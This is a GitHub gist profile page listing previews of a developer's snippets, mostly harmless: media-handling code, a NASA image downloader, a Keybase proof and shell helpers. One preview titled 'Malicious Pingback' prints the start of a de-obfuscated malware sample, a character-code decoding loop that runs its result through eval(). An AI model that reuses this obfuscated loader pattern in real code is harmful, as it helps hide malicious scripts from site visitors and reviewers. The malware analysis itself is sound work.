Skip to content

Instantly share code, notes, and snippets.

View mikeboers's full-sized avatar

Mike Boers mikeboers

View GitHub Profile
@mikeboers
mikeboers / go.py
Last active November 6, 2018 16:33
Threading solution for PyAV #448
import glob
import threading
from queue import Queue
import av
packet_queue = Queue(1)
def read_target():
@mikeboers
mikeboers / gist:22bb3980ba6c1f53839562c342c46953
Created October 15, 2018 17:13
PyAV using avfoundation
$ ffprobe -f avfoundation -list_devices true ''
<snip>
[AVFoundation input device @ 0x7f809940d4c0] AVFoundation video devices:
[AVFoundation input device @ 0x7f809940d4c0] [0] FaceTime HD Camera
[AVFoundation input device @ 0x7f809940d4c0] [1] Capture screen 0
[AVFoundation input device @ 0x7f809940d4c0] AVFoundation audio devices:
[AVFoundation input device @ 0x7f809940d4c0] [0] Built-in Microphone
: Input/output error
$ ffprobe -f avfoundation 0:0
# http://names.mooseroots.com/stories/5165/most-popular-gender-neutral-names
Avery
Riley
Peyton
Logan
Taylor
Ryan
Jordan
Cameron
@mikeboers
mikeboers / epic.py
Created July 22, 2016 16:58
Downloader for NASA's DSCOVR EPIC images
import argparse
import datetime
import json
import os
import re
import requests
parser = argparse.ArgumentParser()
@mikeboers
mikeboers / keybase.md
Last active August 29, 2015 14:21
Keybase proof

Keybase proof

I hereby claim:

  • I am mikeboers on github.
  • I am mikeboers (https://keybase.io/mikeboers) on keybase.
  • I have a public key whose fingerprint is 9F79 893F 1D13 9C88 86F3 66AD AF8A 1CD7 EAD0 90C4

To claim this, I am signing this object:

@mikeboers
mikeboers / de-obfuscated.js
Last active August 29, 2015 14:16
Malicious Pingback
var qi = "",
ri = "",
ui, si = new Array(),
ti;
function oi(pi) {
for (ui = 0; ui < ti.length; ui++) si[ui] = ti.charCodeAt(ui);
ui = "ui=49;do{if(ui<2)break;si[ui]=(((-((si[ui]-51)&0xff))&0xff)+si[50])&0xff;ui--;}while(true);";
eval(ui);
ui = 48;
@mikeboers
mikeboers / gist:678cd3bf00046eecc457
Created November 20, 2014 16:09
Password attempts to SSH server
This is lifted from http://w8rbt.org/patches/results.txt
which is not up at time of tweeting.
// Average brute-force attempts per year
6,803,663
// Average brute-force attempts per day
18,640
// Top ten complex frequent passwords
@mikeboers
mikeboers / stdout.txt
Created August 23, 2014 17:25
Testing Shotgun threading
$ python threaded_dump.py
..
2 in 1.157s (578.617ms each)
...............
17 in 3.286s (193.311ms each)
................
33 in 4.767s (144.452ms each)
@mikeboers
mikeboers / puzzle.txt
Last active February 9, 2016 07:36
Solving a wordsearch by mining Wikipedia.
LAHLERIRAHLEDDIKWKT
CNANOCIESRRAUNAFAOG
WKRGGVREGAASNSESLRB
TETEUAEGNLWOGNTKDET
IUHLUHTCITDSERIAAAA
RECKSUPERHEROEWSRRC
EATCTVNCEANRNETGTKK
NBAOAENNHRFAPMAKHEY
IKGPREDATORTARRLVRR
LSYSKCRVFHNSYYIAATU
@mikeboers
mikeboers / .bashrc
Last active December 31, 2015 07:29
Autocomplete of Python package/module names
function pym {
python -m $@
}
function _pym_complete {
local executable current previous options
executable=${COMP_WORDS[0]}
current="${COMP_WORDS[COMP_CWORD]}"
previous="${COMP_WORDS[COMP_CWORD-1]}"